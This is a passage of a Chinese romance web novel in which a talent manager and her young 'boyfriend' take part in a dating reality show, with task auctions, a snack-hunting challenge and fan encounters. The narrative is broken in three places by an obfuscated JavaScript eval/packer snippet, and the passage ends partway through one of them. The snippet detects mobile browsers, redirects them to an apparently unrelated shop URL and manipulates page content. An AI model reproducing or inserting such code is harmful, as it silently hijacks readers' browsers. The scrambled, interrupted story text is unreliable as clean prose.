“……你这个外形条件挺好的,我也就随口一提。”贺平说,开始低头吃东西了。 沈蔷薇看看贺平,又看向晏川和牧阳:“其实他是惜才了,看小同学条件好才忍不住问的。要是小同学未来有进圈的打算,不妨再考虑一下。” 晏川还打算开口,牧阳笑着接话道:“当然了,谢谢老贺。我也觉得晏川——我们小川很有天分,不过他自己有主意,我也不好替他应下。要是以后有机会,我再带他来拜访你们。” “你对这小孩是真好啊,”贺平慢吞吞地说,再次看向晏川,“就这句话,她对你真是没的说。” 晏川像为主人自豪的小狗,刚露出一点骄傲的神色,立刻被旁边的牧阳按了一下肩膀。 “哪里的话,拜访你们是应该的。就是不知道你们打算什么时候……” 牧阳还没说完,沈蔷薇急忙道:“那太好了,到时候我把他养的那几株白牡丹送给你!” 她像是为了防止牧阳再说下去似的,语速飞快:“再养下去都要被他养死了,不如送给你,我听说你家专门雇了个园艺师,托付给你我最放心。” 牧阳的笑容僵了一瞬。 晏川忽然插话:“不可以,姐姐有我了。美丽的‘牡丹’还是送给其他单身的朋友吧。” 沈蔷薇反应了一会,第一时间对贺平说:“这小孩,不是面上那么乖的嘛。” “他乖,你是真不会看人。”贺平配合沈蔷薇的耳语小声冷笑。 “哎呀,我都没想到,不好意思了。”沈蔷薇有点尴尬道。 “没关系,园艺师和那套房子我都转走了。”牧阳轻描淡写,“我搬家了,到时候你们看节目播出就知道。最近实在忙,都没通知大家。” “原来是这样,那下次来我和阿平好好准备礼物。”沈蔷薇说着,端起杯子,“恭喜乔迁!” 这下立刻带起了全桌干杯的氛围,大家不得不又喝了一轮饮料。 一顿饭聊下来,牧阳开始觉得室内的空气不新鲜了,缺氧和头疼开始随着疲劳一起追上来。节目组适时提出了下一个流程,她才趁机走到窗边,借着“关窗”的由头透了口气。 贺平偷偷去抽了一根烟。姚柯叶窝在沙发里半眯着眼睛,等灯光师和摄影做最后的调整。 晏川走到牧阳身后,沉默地看着她。 “你要去洗手间就快去,我估计下个流程不会短。”牧阳说。 “我刚刚有说什么不该说的话吗?”晏川小声问她。 “你表现很好,”牧阳笑了,“只要少说话,就很难说错话了。但是不说话是做不到的,你已经做得很好了。” “你好辛苦。”晏川忽然冒出一句。 “没有啊,我还挺喜欢的。”牧阳耸耸肩,“说说话而已,都是小打小闹。哦,我算是那个……e人?” 她对十六型人格明显不够熟悉,只是了解流行话题。 “我是i人。”晏川立刻接话。 “难怪。你看起来就挺内向的。”牧阳笑了笑,抬起手,似乎是想揉晏川的头,但是最后还是把手落在他肩膀上。 “挺好的,快回去录制吧。” 当天的主要流程是用竞拍的方式决定第二天的对应任务。任务的难度不等:简单的任务可以说毫无压力,最难的那一个几乎是奔着完不成创造的。 而完不成任务的那对情侣,当天必将面临惩罚。 能完成任务的情侣,当天也有奖励。 “这是一个考验策略的游戏,”牧阳侧头与晏川耳语,“你想做哪个任务?” 晏川觉得耳朵有些发痒。他舍不得转头,只是用余光瞥向节目组专门设置的小机关:“先看看有哪些。” 节目组没有一次就把三个任务都放上来。他们会一个一个放出任务,而且不会告知他们当前任务的难度,让他们判断是要争夺这个能做的任务,还是等下一个更容易做的。 “从沟通开始——”池知夏积极地念出明天的总主题,“好的关系总是离不开有效沟通。请选取你们认为可以增进彼此感情的小任务,给自己和伴侣一个不一样的沟通机会。” “不一样的沟通?”沈蔷薇很疑惑。 “难道是换一种语言?”姚柯叶积极畅想,又愁眉苦脸,“我可不行。” 池知夏笑了:“那我可以叫你欧巴!” 姚柯叶捂心口:“宝宝……那你是我的Sweety……” “好了好了,快把第一个任务放出来吧!”牧阳干脆道,“节目组可不许欺负我们这些只会说方言的老乡啊!” 沈蔷薇噗嗤一声,于是大家跟着笑。晏川一直在看牧阳,而牧阳的注意力完全被工作人员展示出来的牌子吸引了。 “无声的午餐?”牧阳率先念出了第一个任务的名称。 她转头看向晏川的瞬间,晏川立刻看向任务板,念出标题底下的说明小字:“双方需在不使用任何语言、文字的情况下,合作完成一顿简单的乡村午餐,期间只能通过眼神、动作和触摸交流,一旦发现作弊,将会面临双倍的惩罚。” 念完了,晏川才转头看牧阳。两人对视一眼,都没出声。 “任务起拍价:一百。”工作人员喊道。 “我不会做饭哎。”池知夏可怜巴巴地看向姚柯叶。 姚柯叶也眼巴巴地看着池知夏:“我也不会。” 竞拍不能随便叫价,因为把资金花完,也会面临惩罚。 姚柯叶和池知夏不敢随便叫价,于是打算放弃这个机会。 另一边,牧阳和沈蔷薇几乎同时喊价。 “一百一。” “一百一。” 沈蔷薇先。 牧阳不甘示弱:“一百二。” “一百四。”沈蔷薇得意地看了一眼牧阳,“你们的初始资金不够,就不要再争了,等下一个更难的任务吧。” “你怎么就确定是更难的,”牧阳笑笑,“万一后面的任务都很简单,你们岂不是得不偿失。” 沈蔷薇跟着笑,不接话。 “一百四一次。” “一百五。”牧阳继续叫价。 “一百六。”沈蔷薇说。 “一百六十五。”牧阳说。 “一百七。”沈蔷薇继续跟。 “……一百八。”牧阳咬牙道。 “两百。”沈蔷薇轻巧地笑。她的笑还没落下,贺平就不赞同地拉上她的手。沈蔷薇疑惑地看向身边的贺平。 “两百一次。” “两百两次。” 沈蔷薇反应过来了:“你坑我!” “将近两百了,我们的资金优势没了。”贺平淡淡道。 “这可是两百……一下子出这么多血……”沈蔷薇急得要咬人,她抓着零食袋的手被贺平按住,扣在了大腿上。 牧阳耸耸肩,摊手:“不好意思,也是为了长远打算。” 如果三组嘉宾的资金都没有清零,在最后一天,资金最少的那一组也会面临惩罚。 牧阳和晏川是唯一一组开局只有五百资金的情侣,也不知道沈蔷薇、池知夏他们是怎么做到开局就能拿到九百资金的。 相当于只答错了一个问题啊。 “两百三次,恭喜花瓶cp获得‘无声的午餐’任务!” 大家一起鼓掌。 池知夏立刻趁机和姚柯叶商量起来:“宝宝,我觉得我们下一轮不管是什么,都得抢一抢,不然万一轮到一个最难的,就麻烦了。” 姚柯叶深情回望:“当然,宝宝,我都听你的。” 池知夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992406|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捏了一把姚柯叶的脸,姚柯叶面色不改,笑着亲了一下她额角。 牧阳没看他们那边,而是在观察耳语的沈蔷薇和贺平。他俩拿到任务卡之后不知道在研究什么,还把任务卡翻来翻去。 她收回视线,这才发现那对亲密的小情侣。明明这么晚了,大家都很疲惫,他们还是很开心地贴在一起。 牧阳不禁露出一个很善意的笑容,忽然感觉身边的某人肌肉僵硬了一分。 “小川?”她转过头,低声询问。 晏川点点头:“没什么。我看他们,好像是打算竞拍下一个任务。” “那很好啊,我们再去抢一抢。”牧阳笑。 “他们不一定会上当了。”晏川垂下眼。 牧阳倒是没有这种烦恼:“随便。大不了就做剩下那个最难的——其实也不一定是最难的。” “嗯。”晏川点头。 这种听之任之,温顺的姿态。 一天了,他都没有表现出一点当初在咖啡馆初见的样子。哪怕她故意表现出了一些出格的控制欲,他也没有和她起冲突的意思。这反而令她感到些许的不安。 他望着她的眼神永远是含着些许笑意的。那是一双水光粼粼,看谁都显得情深的眼睛。 “咳咳,第二个任务起拍了哈。”沈蔷薇出声提醒,“别让人家工作人员等久了!” 牧阳这才回过神,笑了一下,很大方道:“一百五!” “任务都没看到!”沈蔷薇无语。 “老贺,读一下任务!”牧阳赶紧道。 贺平这才慢腾腾地读出任务卡上的字:“情歌对唱。双方将拜访节目组指定的本地民间艺人,在当天内学会一首情歌并深情对唱。当天晚上,情侣嘉宾邀请其他嘉宾来观看演出,得到一致好评后任务方可通过。” 读完的一瞬间,偌大的客厅竟然静谧无声。 “……这也太难了吧。”沈蔷薇喃喃,“幸好刚刚抢了无声餐。” 牧阳也是瞬间僵住。她有些尴尬茫然地闭上嘴,全然不知道刚刚自己嘴快抢下了这么棘手的一个任务。 晏川伸出手。 “一百六!”一只手突兀地高高举起。 池知夏干脆站了起来,激动极了:“我要唱山歌!我要唱!山!歌!” 姚柯叶赶紧跟着站起来:“宝宝,别激动,我们不能破坏规矩……” “宝宝,山歌!山歌!而且,下一个任务更难怎么办!”池知夏一跺脚。 “好好好,”姚柯叶一副头疼的模样,求助似的看向牧阳和晏川,“那你们……” 牧阳一下子放松下来。她的手搭在晏川伸出的手上,松松地握着。 晏川抬头:“交给你们了。” “你们……确定?”姚柯叶犹疑道,“万一下一个更难呢,就这么放弃了吗?” 他明显看向更有决定权的牧阳。 牧阳握着晏川的手,往他身边靠了靠:“听他的。” “一百六一次。” 姚柯叶知道没有人能救自己了。 “一百六两次。” “加油吧,唱歌而已,大家都有不擅长的事,没什么好丢脸的。”贺平安慰他。 姚柯叶点点头,摸了摸鼻子。 “一百六三次,恭喜夏夜cp获得‘情歌对唱’任务。” 沈蔷薇鼓掌肉眼可见地真诚了不少,池知夏也很兴奋,姚柯叶看起来有点为难,但还勉强配合着池知夏,接过任务卡。 现在,重头戏就落在牧阳和晏川身上了。 两人对视一眼,又各自移开视线。 牧阳拉着晏川的手不自觉握紧了。但是,她又感觉到相同的,不逊于她的力量从他那边传来。 他到底是在紧张,还是在安抚她呢? 16. 【十六】 “第三个任务,乡野寻味。”牧阳立刻读出了任务说明,“领取该任务后,嘉宾将获得节目组给出的一张本地特色小吃清单,情侣双方必须在晚饭开始之前将清单上所有的小吃品尝完毕。注:获取小吃的方法不限。” “也就是说,我们可以花节目组给的初始资金用来买小吃。”晏川推测道。得到节目组肯定的答复,他低下头。 “反正这就最后一个任务了,也别拍卖了,我们拿下行不行?”牧阳说。 没想到节目组还有奇招:“任务不止这三个,有条件的嘉宾可以多拍任务,完成的任务翻倍,奖励翻倍。” “那可做不起,”沈蔷薇连忙摆手,“这个一看就要一天。” “……山歌,还只学一天,我们应该也做不了这么多事。”姚柯叶摇摇头。 “那这个任务就流拍了。”刘导说。 “等等。”牧阳喊价,“一百零一。” “一百零一?这么低!”刘导都要无语了。 沈蔷薇瞪大眼睛:“你……好你个牧阳……” “一百零一。”牧阳再次强调。 晏川给了她一个肯定的眼神。两人的手始终交握在一起。 “一百零一一次,一百零一两次,一百零一三次。”刘导的眼神里透露出杀气,“成交。” “恭喜木船cp获得‘乡野寻味’任务。” 虽然掌声不如前两次热烈,但牧阳还是心情大好地接下任务卡,自然地放到自己和晏川跟前开始看。她的手臂不小心蹭到他身上,说不清是哪一块肌肉。她听到他的呼吸声,心底觉得有些好笑地抬头:“怎么了,做任务紧张?” “没有,”晏川否认,连眼神也瞥向别处,“在思考那张清单。” “明天早上才会给我们,别想了。”牧阳说,“最后一个环节了。” 因为牧阳和晏川来得晚,所以他们理所当然地被分到了最后一间房。 ……这可真是一个破房间。 牧阳看着这个疑似天花板漏水的小房间,几乎要笑出声了:“你们能凑齐这么多差点就不能用的东西也是不容易。” 幸好他们每个人只能带七件行李,不然现在都不知道东西放哪。 “这里只有一张床,”晏川看向牧阳,“要不我来打地铺吧。” “这床虽然小,但不是睡不下两个人。”牧阳否决了,“这里地板潮湿,不要睡在地上。” “……好。”晏川应下。 “……是不是跟着我委屈了?他们的房间都很豪华。”牧阳侧头看向他。 晏川脸色的表情瞬间有了古怪。他像是没料到她会这么说似的。 “我们明天的任务一定会顺利的。”晏川坚定道,“我们能换去最豪华的那个星空房。” “希望吧。”牧阳不置可否地说,“我要去买洗漱用品了。你有什么要带的吗?” “哦,没有。”晏川说。 牧阳指着房间里的摄像头:“这个是可以关掉的。”她演示了一遍关机的方法,又打开。 晏川上手再次关机。 “外套脱一下。”牧阳说。 晏川不明所以地脱掉外套。牧阳把晏川的外套盖在摄像头上,然后掰过他的脸,对着他耳语:“我估计房间里还藏了其他的。还有哪儿你觉得不舒服,记得盖上。” 灯光昏暗,晏川几乎是把牧阳搂在怀里听她说话。 半晌,他点头:“知道了。” 牧阳这才放心出门。隔音不好,他一下子就听到她在喊:“有没有人一起去便利店——超市——买物资——” 这个点,超市便利店也快关门了。他听到脚步声,知道他们是风风火火出门去了。 他松了口气,刚准备休息,忽然有人来敲门。 “晏川老师,”工作人员嘴甜道,“方便配合我们录一下采访吗?” 晏川算是明白牧阳说的要及时睡觉是什么意思了。 牧阳购物回来,两人走进屋子之后,她竟然还有精力去补录。也不知道导演组会采访她哪些内容。 他和衣躺在床上,陌生的房间还弥散着一种阴冷的湿气,似乎之前没有人住在这。 只是这种环境而已,没什么特别的。和过往相比,这间屋子有天顶,有床,有被子虽然薄得不成样,但是整体来说还行。 晏川睁开眼睛。 他不喜欢有人注视的感觉。虽然房间里没人,但是关了灯,他能看到天花板吊顶上还有一个红点,墙侧还有一个。也许其他地方也会有。 监控也有红点。 沿街商铺的卷帘门拉死了。留给他的只有银白的铁网,还有那个墙头小红点。 深夜的城市,满目霓虹褪去,只剩高远的冷光。街道被风灌满,冷清得一点人气也瞧不见。小孩身上没什么衣服,白天倒是还好,夜里两条胳膊露在外面,像被冰借走了,手指都要不回来。 他把手指藏在裤袋里,就好像不是为了取暖,而是让自己看起来酷一点。下一秒,风往他脖子上哈了一口气。 冷! 小孩像炸了毛的流浪狗一样窜出去。 终于,威严的石狮子挡住了半缕风。他蹲在石狮子后面,小心翼翼地往手心里呵气。 “哎!那边那个,干什么的?!” 他拔腿就跑。 离开银行脚下的石狮子,穿过空旷的街道。 说不清是希望有人抓到,还是希望继续自由。 “还没睡着?” 好热,好暖的手。 晏川不自觉翻了个身,脸往她的手心贴去。贴了个空,她把手抽开了。 “热到你了?这个房间够阴的,空调都不用开。”牧阳的声音轻轻的,疲惫低哑,“要是觉得热,我去问他们拿遥控器。” “……不用。”晏川说。 他的声音听起来也很困。 可是他的身体却不受控地感到兴奋。他觉得自己血流加速,心脏跳得也很快。 尤其是她的头发轻飘飘地落在他身上。 东西都买好了么?刚刚的采访说了什么?今天的进展还顺利吗?他的表现,她会满意吗? 明天有没有什么计划? 无数个问题在他脑海中悬置。 晏川轻轻翻了个身,近乎呢喃地凑近她:“谦谦姐姐?” “嗯……” 回答他的是一个鼻音。 她已然睡熟了。 牧阳睡醒的时候,差点吓了一跳。 她和江百川已经离婚了,而且离婚之前也一直是分房睡。她好久没和人躺一起了,乍一和人亲密到这种程度,她有点反应过激。 ……但是就算有镜头拍摄,她的这种表现应该也还好。 沉重的睡梦阻挡了她的行动,使她的反应变得迟钝。她甚至梦到自己养的小狗了。 这个梦偶尔会来,但不常来。她花了好长时间才确定这是梦,因为不管是在乡下老家,还是后来被接回牧家,她都没有时间,没有精力也不被允许养狗。 她倒是一直想养狗。希望有毛茸茸的,温暖的,忠诚的,会一直喜欢她的,会一直回应她的东西。 这个梦就像潜意识给她的补偿,她编造了一个截然不同的人生给自己。梦里的她是一个普通平凡的女生,租一间五脏俱全的小房子,不忙的时候她就龟缩在里面。 在这个梦里,牧谦冲可以当一个更快乐,更单纯的牧阳。她在一个暴雨的傍晚把一只被弃养的流浪狗接回家,流浪狗小小的,好像还受伤了。 那只狗很粘人。她记得故事的最后,它会跳出自己的狗窝,跑到她的床边,来喊她起床。 ……小狗。 她低喃着:“小川?” 晏川看起来没睡醒。他的眼皮还在努力地挣扎。 牧阳连忙去看时间。 “……小川!快醒醒!”牧阳连忙去推他,“十点了,我们必须马上起床,马上去接任务!” 晏川没想到自己会睡过头的。 昨夜很晚他们才睡,但是他记得,他一开始根本没有睡着。他忍不住想复盘自己今天的表现,但是又强迫自己不去想。只是刚删去今天的记忆,尘封的过往就追杀而来,专往他为难痛苦的地方戳。 有些往事他已经很熟悉了。 有些却很新鲜。录制让他想到了流浪时的部分片段,这些是他在西京梦不到的。 最后,他记得他闻到了她身上的气味。 他很熟悉她的味道。他以为自己这些年早就忘掉,以至于如何回想也想不起来;结果一来到她的身边,这个气味就像标记一样缠上了他。 不可遏制,无法控制。他难以忍耐,总是忍不住凑近她,几乎要把鼻子埋进她颈窝里。 好想。 好想好想好想。 ……好想你。 不过,不行,还不可以。 听话的小狗没有再上前,只是保持着这样的距离。 这样就好了。 这样,他就心满意足了。 “醒醒!食物!美味的食物!”牧阳拉着晏川走进美食街,“醒来到现在都没吃东西,我是真饿了!” 太阳照在她脸上。 “我现在饿得能吃下一头牛!”牧阳说。 晏川慢慢跟在她身后:“知道了。我们可以就近买一点先垫垫肚子,然后沿路去找节目组布置的这些小吃。” “最好还是能直接找到小吃,”牧阳把摊开的手掌收回口袋,“我看了,好多都是主食,万一后面吃不下了怎么办?而且,我们应该省点钱。” 是的,他们五百的初始资金,到现在只剩三百一十八了。 牧阳昨天买了点洗漱用品,实际上花的钱非常少;而且今天早上他们出门之前,牧阳说服了导演让他们搭池知夏、姚柯叶的顺风车,让节目组在小吃街前放下他们,再进山。 顺风车不花钱。甚至这趟车还会在天黑之前经过此地,把他们捎上。为此,牧阳答应池知夏无论他们唱成什么样,她和晏川都会捧场说好听。 牧阳不想多花钱在不是任务的地方。 晏川微微抿唇,低头又看了一眼手上的清单。他都快把那几个词背下来了。 “饵块,烤饵块!”牧阳眼尖,很快发现了街头最近处的一家摊子。摄像连忙跟着走上去。 “来一份还是两份?”阿姨问。 “两份!”牧阳连忙说。 “要加什么?” 晏川刚想说话,牧阳说:“都不加,我们要两个基础款。” 她侧头看向他。晏川抿着嘴唇,“嗯”了一声。 “两个多少钱?” “十块。” 牧阳心想,贵了。不过节目组都来了,没宰他们已经很够意思。 稻溪这个地方好吃的那么多,她比节目组还清楚。但是为了最快收集到所有清单内容,再加上节目组的有意引导,牧阳不得不选这条最有可能最快完成任务的路线。 她低头看阿姨烤饵块,说自己甜酱辣酱都要。晏川只是说,要和她一样的。 牧阳付了钱,好奇地盯着垂头的晏川看。 “你怎么了?太饿了?”牧阳凑过去问他。 晏川摇摇头。 “你没什么精神啊,吃个早餐就好了。”牧阳拍拍他的肩膀。 晏川看着牧阳和搞吃播一样煞有介事给摄影展示自己的那份烤饵块,还配带解说,仿佛这小小烤饵块是排队两小时的大网红。 显然,节目组很喜欢牧阳的“整活”,毕竟这些都是可取的素材——就像他此刻欲言又止的表情一样。 “……怎么了,不好吃吗?”牧阳问。 晏川摇摇头。 “那是?”她的目光因为好奇,对他穷追不舍。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992407|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “有点辣。”晏川说。 “有点辣!”牧阳顿了一下,反应过来,“你不是能吃辣吗?” “……一般。” “那是不能吃!你应该说你不太能吃辣!”牧阳叹了口气,“怎么办,我们这两个都是甜辣双酱的。” “下次我会注意的。”晏川急忙说。 牧阳盯着他。 “……怎么了?”晏川被看得有些紧张,下意识就想伸手摸脸,“我脸上沾了东西?” “……没有,”牧阳无奈地垂下肩,“你就没有什么想对我说的吗?” “什么?” “下次,我也会注意的,”牧阳幽幽道,“我会先问你的意见。” “问我?不用啊,”晏川笑道,“我听谦谦姐姐的。” “还演?”牧阳无语。 她就着手里的饵块狠狠咬下一口,满口都是美味的洋芋丝。 ……就生不起气来。 饶是如此,牧阳还是拽着晏川的手臂,对摄像头说:“你们别信他这个样子。” “嗯。”晏川竟然还笑,“那我们走了,去找破酥包。” 牧阳和晏川这对“木船cp”很快知道这个任务难在哪里了。 因为他们快“翻船”了! 小吃街上的小吃虽然好找,但是都比较贵! 主要是他们本来就只有五百的初始资金,还要考虑接下来四天的行程,为此不得不多做打算。 在接连完成四个美食打卡任务之后,牧阳深深皱起了眉。 晏川看到她这种表情,忽然神情凝重不少。他伸出手,小心翼翼地靠近她的额头。 “你干嘛?”牧阳不明所以地抬头。 晏川放下手:“……我想再看看清单。” “你都会背了,年轻人不要老把答案带在身上。”牧阳怼了他一下,没好气地把清单收起来,“走吧,我们得找份工作做一做。” “什么工作?” “能挣到钱的工作。”牧阳说。 “挣钱?”晏川反应过来,“你是说街头卖艺这样的。” “我们有什么才艺可以卖,你是会唱跳还是会什么。”牧阳莫名其妙地看着他,“我们打点零工,踏踏实实的比什么都强。” “好。”晏川点点头。 于是两人在小吃摊挨个问需不需要兼职零工,可以帮忙看摊,可以帮忙烤串,可以帮忙收拾桌面打扫卫生,一一被拒绝。 “刚刚那个大叔明显有想法。”牧阳觉得很可惜,“我们要不还是分开问,这样比较容易找到工作。” 晏川盯着牧阳看了一会,最后什么也没说。 牧阳明显还在懊恼,只顾闷头走。 街头街尾都问过了,看来是真没戏。那还能怎么办?真的要接惩罚任务吗? 牧阳忽然觉得累了。她干脆拉住晏川:“休息会吧。” “去哪?”晏川问她。 牧阳指指步行街的边沿。晏川看明白了,拉住她的手臂不让她滑下去,伸手掏了张纸巾铺在地上。牧阳干脆地一屁股坐了,晏川再给自己掏,跟着坐在她身边。 两人沉默地坐在街口。 过了一会,晏川像是下定了某种决心。他抬头问工作人员:“可以申请场外援助吗?我有个同学是稻溪人,也许他能帮我们找到工作。” 这一招提醒了牧阳,她也抬头眼巴巴地看着工作人员:“可以吗?可以申请场外援助吗?” 导演组商量了一会,同意了。 牧阳一下按住晏川:“你别动,我来!”然后飞快起身,掏出自己的手机,跳跃着奔向一个路过的女游客:“姐妹!姐妹!你好!我看你包包上背的是唐晞的挂件,你喜欢他吗?” 跟拍们纷纷冲了上去,摆开架势。 女游客被牧阳一个人包围了,无助而不明所以:“……喜欢?!” “是这样的,我们在录节目,现在我们没有钱了,需要筹措资金解决我们的晚饭,”牧阳笑道,“我是唐晞的经纪人,如果你愿意出五十元和唐晞一对一视频连线三分钟的话,我这边立刻就给他打视频,你觉得怎么样?” “……五十?” “贵了?”牧阳愣住,“那四十?” “我出两千!”女游客尖叫道。 “太有实力了小姐姐!”牧阳立刻道,“不过他行程没有那么多时间,安排你们连线十五分钟可以吗?这样您只需要出两百。” “可以!可以!可以可以……”女游客直接破音了。 “我马上给他打电话。” 晏川看到跟拍摄像和另外两个活动机位都凑上去拍牧阳和女游客。 牧阳大大方方地展示自己的手机,当面和明星视频,还和对方承诺这次“饭撒”结束之后会给他放两天假。 女游客:“不要为我耽误哥哥的工作啊!” 牧阳:“你哥哥工作已经很卖力啦,谢谢你喜欢他。他就是这样被你,被粉丝们鼓舞着不断向前的。那——我开始计时咯。” 女游客忙不迭接过手机,脸上的笑怎么掩都掩不住。 牧阳凑近晏川:“摆弄什么呢?快开个计时,备份。” 正在看手机的晏川立刻切换APP,打开计时器。 牧阳远远观望着女游客和手下艺人视频,晏川在旁边盯着她,像是有点想开口,又不知道怎么说的样子。 “怎么了?”牧阳问他。 “挺好的,”晏川说,“这样很赚。” 牧阳说:“我还能问问其他人。”她看向外围被制作组拦住的游客。明显有一两个是闻讯赶来的LUMEN粉,不过LUMEN正在海外拍摄MV,现在恐怕不方便视频。 还能抓谁的壮丁呢? “江百川?!”路人中,忽然爆发出一声怒吼。 “江百川!你怎么能和那个女人在一起!” 17. 【十七】 晏川惊愕地转过头去,然而摄像却直接将镜头对准了他们两个。 他保持着怔愣的神色,直到听见身侧牧阳低低的笑声:“又有人认错你哎,你真的很有明星脸。” 晏川急道:“我不是!” “他不是江百川!”牧阳伸手拦在他身前,护住他朝人群看去,“他是我男朋友!你们哥哥清清白白!” “贱人!你就是贱!”快扑上来的粉丝被工作人员拦住了。 牧阳面不改色,笑着拉了一把晏川:“走啦。” 晏川担忧地看了身后一眼。 “放心,”牧阳低头看了眼手表,走到女游客身边,“不好意思,时间到了。” 女游客还给牧阳手机,面红耳赤再三道谢,还从包里掏出三张百元钞递给牧阳说不用找。牧阳比女游客还激动:“你还有现金!” “刚好带在身上,还是今年的新钱,送给你们,祝福你们相亲相爱、地久天长!”女游客摆着手溜了。 跟在旁边的晏川得了这话,比得了钱还高兴:“谢谢!” 牧阳低着头数这三张钱:“天呐!这都是我平时积累换来的财富!” 三张没什么好数的,但牧阳愣是把这三张钱的顺序都变换了一遍,又归拢原位,好好拿在手里端详。 晏川和她靠在一起,端详了一会这三张钱,又看向她:“你好厉害。” “我也觉得。” “刚刚的江百川到底和你什么关系?”晏川问。 “……什么?”牧阳顿住。 “我和他很像吗?”晏川又问。 他看起来并不是真的在疑惑,只是在和她确认。 像小狗看到主人对着别的狗嘬嘬,硬是把别的狗都挤开,眼巴巴凑到主人跟前摇尾巴。 “我才是你最亲近的小狗。”他好像是想这样说。 牧阳垂下眼。 本来刚刚路人的那段,节目组大概是可以剪掉的。 现在他这么问了,大概率是会留下了。 牧阳知道,不管她答不答,这个爆点制作组一定会抢下。 “……像,怎么不像,”完全违背他预期的,她笑着说,“我第一次见到你的时候,还差点把你们认错。我就是这么认识你的,你忘了?” 晏川没有笑。他有点笑不出来。 “不过,你和他一点都不一样。”牧阳说,“我喜欢的是我们小川,江百川只是我的前·任·员·工。你们不一样。” “是吗。”晏川像是想说服自己似的喃喃。 “当然!我是那种见色起意的人吗?”牧阳说。 晏川来劲了,他歪头凑近她:“那是哪个姐姐第一次见我,就要吻我?” 牧阳踮脚直接亲上去。 “就吻了,”良久,他放开她,她喘了口气,按着他的胳膊,“能怎么样?” “再来一次。”晏川的手托在她背上。 牧阳踩了他一脚:“走了。还有两个。” 她走出去几步,听到他的笑声。 “怎么了?”她没好气地问。 “没什么,”晏川走过去,牵住她的手,“我们相亲相爱,地久天长。” “行行行,地久天长,天长地久,随便你。”牧阳拉着他往前走。 剩下的两个小吃并不难找,只是略贵。不过,对于新得了巨款的两人两人来说,这点小钱现在也不算什么了。 顺利完成了任务,顺便从仅剩244元的窘迫状态返回,现在的牧阳和晏川拥有整整544元了,比开头还多44元呢!这在后期都是要配大花字显摆的! “挣钱真爽啊,”牧阳叹息,“还是得多挣点钱。” “嗯。以后我会的。”晏川说。 牧阳把手搭在他肩上:“不用有压力。你想做什么就做什么。” 晏川没有搭话。 “这个时候不和我说点什么甜言蜜语吗?”牧阳问。 “……我想多为你分担点什么,”晏川说,“这样,你也不用有压力。” “你……”牧阳撇开脸。 “甜吗?”晏川反而凑近她,“奖励我。” 牧阳捶了一下他的头,率先往节目组的车跑去。 “哥!第一批路透已经拿到了,这是我们营销群雇稻溪本地人拍到的一手资料。这就是晏川当天穿的衣服,”六六说,“需要我现在发给薇薇安姐吗?” 江百川盯着视频截图不作声。 六六不敢接话。 他之前也跟过别的艺人,比江百川还要阴晴不定,小题大做的不是没有,但是他的焦虑实在太给人压迫感。李铭运能跟江百川到现在,六六是真的佩服这位助理的抗压能力。 “发。”江百川说。 他攥紧了拳头。 镜头里,那个该死的家伙低头凑近她,还把他那颗不值钱的脑袋拱到她脸侧,简直是不知羞耻!他怎么敢…… “这是要去哪?”来人一边走,一边手里还夹着烟,“这么晚了,还在读剧本,太用心了。啧,江哥来了之后,我没有一天不放心的。” “高总。”六六连忙低头。 “去忙吧。”高明煊摆摆手,随手让六六出去。他随意地看了一眼周围,最后干脆站着,把手里的烟按进烟灰缸里。 火光熄灭。 “有事?”江百川连头都懒得抬一眼。 “我听说你布置了一些小动作,想给你那个前东家使绊子。”高明煊说,“不必着急,你也不必自己动手。公司会有专人摆平这类事。” “我只想和她开开玩笑,”江百川说,“这是我和她之间的事,你不该插手。” “是啊,我明白,”高明煊说,“我也不想。但是,从你跳槽到我这里,这就已经是两个公司的事了。” 江百川不语。 “我知道,你不想参与公司的那些事,所以我在合同里都给你规避掉了呀,你也亲眼看过的。”高明煊说,“放心吧,把公司交给你的这十部影片拍完,我们一定让你走。” “但愿如此。”江百川说。 “当然,”高明煊笑着说,“都会如愿的。” 沙发两侧,池知夏、姚柯叶和牧阳、晏川四人面面相觑。 “他们这是……吵架了?”晏川问。 姚柯叶压低声音:“兄弟,声音轻点!我怕他们能听到。” “没关系。我看沈蔷薇上楼了,老贺不会管我们说什么的。”牧阳淡淡道,“放他们冷静一段时间,过一会就好了。” “我看蔷蔷姐挺难受的,不像很快就能和好的样子。”池知夏担忧地左顾右盼,“我们做点什么劝劝他们吧。” 他们唱山歌的这组刚刚拿到了全员好评。贺平其实想给差评的,池知夏差点就哭了。沈蔷薇出声命令贺平给他们好评,贺平才不情不愿地给了一个。接着,贺平说“你还操心起别人来了”,沈蔷薇突然爆发,大喊“你自己一个人过吧”然后就往楼上卧室跑了。 “放他们冷静,这是人家两个人的事。”牧阳说,“我们去劝,可能越劝越麻烦。” “听起来牧姐之前有经验,”姚柯叶八卦道,“他们之前,也会这样么?” “我不清楚,”牧阳说,“我只是自己觉得这样更好。” 晏川低下头。 “可是我总是不放心。要是他们不和好,明天的任务怎么办?”池知夏问。 “节目组会想办法的。”牧阳说。 牧阳和晏川成功拍下营建任务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 